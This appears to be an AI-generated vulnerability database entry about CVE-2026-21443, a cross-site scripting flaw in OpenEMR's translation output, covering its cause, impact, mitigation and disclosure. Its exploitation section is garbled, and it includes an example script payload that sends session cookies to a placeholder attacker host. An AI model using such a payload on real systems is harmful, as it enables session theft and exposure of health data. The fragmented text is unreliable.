
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-21443 is a Cross-Site Scripting (XSS) vulnerability in OpenEMR caused by inconsistent escaping of the xl() translation function's output. Affecting all versions prior to 8.0.0, the flaw allows an attacker who can write to the translation database to inject malicious content that is rendered unescaped in HTML, XML, JavaScript, and attribute contexts. It was disclosed on February 25, 2026, with a fix released in version 8.0.0. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, Red Hat CVE).
The root cause is CWE-116 (Improper Encoding or Escaping of Output): the xl() function returns raw, unescaped translation strings, and while context-specific wrappers exist (xlt() for HTML, xla() for attributes, xlj() for JavaScript, xlx() for XML), numerous locations in the codebase used xl() directly in output contexts without applying the appropriate wrapper. Affected areas include the Smarty {xl} plugin (echoes directly without HTML escaping), XML construction in AclExtended.php (concatenates xl() into XML without xmlEscape()), various controllers and templates that echo xl() in HTML context, and the xls() function which used addslashes() instead of proper JS escaping. Exploitation requires an attacker to first gain write access to the translation database, after which crafted strings are rendered in victim browsers when pages containing the affected translation calls are loaded (GitHub Advisory, Patch Commit).
Successful exploitation could allow an attacker to execute arbitrary JavaScript in the browsers of authenticated OpenEMR users, potentially leading to session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim within the EHR system. Given that OpenEMR handles sensitive patient health records, a successful XSS attack could expose protected health information (PHI) or enable further privilege escalation within the application. The impact is rated as low-to-moderate, with limited confidentiality and integrity effects confined to the client side and no direct availability impact (GitHub Advisory, Red Hat CVE).
There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of disclosure. The EPSS score is approximately 0.042%, reflecting a low probability of exploitation in the near term. Exploitation requires the attacker to first obtain write access to the OpenEMR translation database — a significant precondition that limits the attack surface. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, Red Hat CVE).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a translation string entry in the database that is known to be rendered via an unescaped xl() call.{xl} plugin, controllers echoing xl() directly in HTML, or XML-building code in AclExtended.php — all of which rendered translation output without escaping prior to version 8.0.0.<script> blocks, JavaScript event handlers (e.g., onerror, onload), or encoded payloads.The primary remediation is to upgrade OpenEMR to version 8.0.0 or later, which replaces all direct xl() calls with context-appropriate escaped wrappers (xlt(), xla(), xlj(), xlx()), removes the unescaped Smarty {xl} plugin, and deprecates the insecure xls() function in favor of xlj() (GitHub Advisory, Patch Commit). As interim mitigations, restrict database write access to the translation tables to trusted administrators only, implement Content Security Policy (CSP) headers to reduce XSS impact, and audit translation database entries for unexpected content. Organizations unable to upgrade immediately should monitor translation table modifications and limit access to the OpenEMR administrative interface.
The vulnerability was disclosed by OpenEMR maintainer bradymiller via a GitHub Security Advisory on February 25, 2026, with a low severity rating assigned by the project. Red Hat also tracked the CVE in their security database. No significant broader media coverage or notable researcher commentary beyond the official advisory has been identified.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."